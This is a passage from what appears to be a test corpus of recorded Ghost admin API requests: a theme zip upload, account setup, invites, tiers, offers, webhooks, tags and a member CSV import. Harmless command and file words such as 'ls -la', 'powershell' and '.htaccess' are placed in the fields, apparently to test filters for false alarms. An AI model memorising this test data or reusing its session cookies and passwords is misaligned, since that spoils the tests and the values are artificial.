application/zip\r\n\r\nUEsDBAoAAAAAAM9la10AAAAAAAAAAAAAAAAMABwAbm90ZXMtdGhlbWUvVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAFBLAwQUAAAACADPZWtdXfnn43sAAACmAAAAFQAcAG5vdGVzLXRoZW1lL2luZGV4Lmhic1VUCQADpmP0aqZj9Gp1eAsAAQToAwAABOgDAAAtjlEKAyEMRP/3FHZ7AKHfqVcpwcYqWF00C4WQu1dtP+fNZCYiFzBPCnhmVt3gjak4kWuojdBHc9TOXRWwcfKZjM/Y+30XmcZjKdXdQbw5QBMbhWmeLU8qwokzjXOLDuzIiNDHUzt4sV/ngPY/pzqK8ZUKcqplZtY/2xdQSwMECgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAHABub3Rlcy10aGVtZS9wYXJ0aWFscy9VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAM9la11tuH02lQAAAPgAAAAUABwAbm90ZXMtdGhlbWUvcGFnZS5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAXU+7DsMgDNz7FZTMVdSd5lcQoiaxBEkFzmTx77XTdGi3e+l0x3x15gkp7Jl6vzAPr60JcqESxgwm5tDawzKr7g/Wu53ccp+YCSmDhMeDDZhMgkB7BY8lzOpgmU2rUQsE+r3m/4g1IZP6P7oPusdK64hJehpEwm39zpmXW9xWgpU0ckIdcuYmN54HDrsUsWW3tH3uXd5QSwMEFAAAAAgAz2VrXY4bR/y4AAAABwEAABgAHABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAALY/BbsIwDIbvPIWVM6uKEJdJm+BJKis1baTEjuIAG6jvjpPtZvv7/Vl+OcZE7hMcSyX9qCtZuwc3k/oScg3CjV5AE8YIncNVCvQ8CEP+ravwEZBnyPKgoivF2Bx3q//3D8M4jG6/A0e8BCa14cstq2ht+Pvr1AObbeHNfKVzShhi4xiDpzP9YMqRBi/Jkubywtew9Gg2k06ZypRxaQ8dRnOFZM2k4fl3sOk9lnlCVaptVMuNtm33BlBLAwQUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAcAG5vdGVzLXRoZW1lL3Bvc3QuaGJzVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAF1Puw7DIAzc+xWUzFXUneZXEKImsQRJBc5k8e+103Rot3vpdMd8deYJKeyZer8wD6+tCXKhEsYMJubQ2sMyq+4P1rud3HKfmAkpg4THgw2YTIJAewWPJczqYJlNq1ELBPq95v+INSGT+j+6D7rHSuuISXoaRMJt/c6Zl1vcVoKVNHJCHXLmJjeeBw67FLFlt7R97l3eUEsDBBQAAAAIAM9la12WkoJXiwAAAMEAAAAXABwAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAANY6xDsIwDET3fkXIDqwMboQEzDCwMEWmdZtKKZGIGVDkf6cO6mTdO92dYXO+nu6P28UEnqNrQI+J+BpbW8oxT0y7mDqMJGIdBMLewUyMpgv4zsSt/fCwPSweTxzJlaKur0IE9isdQ8rsNa+09jTwTP3XdBFz1jVVvirdKn8gImt4SIk1rNgtHfXhH1BLAQIeAwoAAAAAAM9la10AAAAAAAAAAAAAAAAMABgAAAAAAAAAEAD9QQAAAABub3Rlcy10aGVtZS9VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdXfnn43sAAACmAAAAFQAYAAAAAAABAAAAtIFGAAAAbm90ZXMtdGhlbWUvaW5kZXguaGJzVVQFAAOmY/RqdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAGAAAAAAAAAAQAP1BEAEAAG5vdGVzLXRoZW1lL3BhcnRpYWxzL1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la11tuH02lQAAAPgAAAAUABgAAAAAAAEAAAC0gV8BAABub3Rlcy10aGVtZS9wYWdlLmhic1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la12OG0f8uAAAAAcBAAAYABgAAAAAAAEAAAC0gUICAABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAYAAAAAAABAAAAtIFMAwAAbm90ZXMtdGhlbWUvcG9zdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdlpKCV4sAAADBAAAAFwAYAAAAAAABAAAAtIEvBAAAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwUGAAAAAAcABwB3AgAACwUAAAAA\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
||||||
|
# The requests below were sent to Ghost by a script with the admin's or a
|
||||||
|
# member's headers. They hold words that name commands and files in more fields.
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
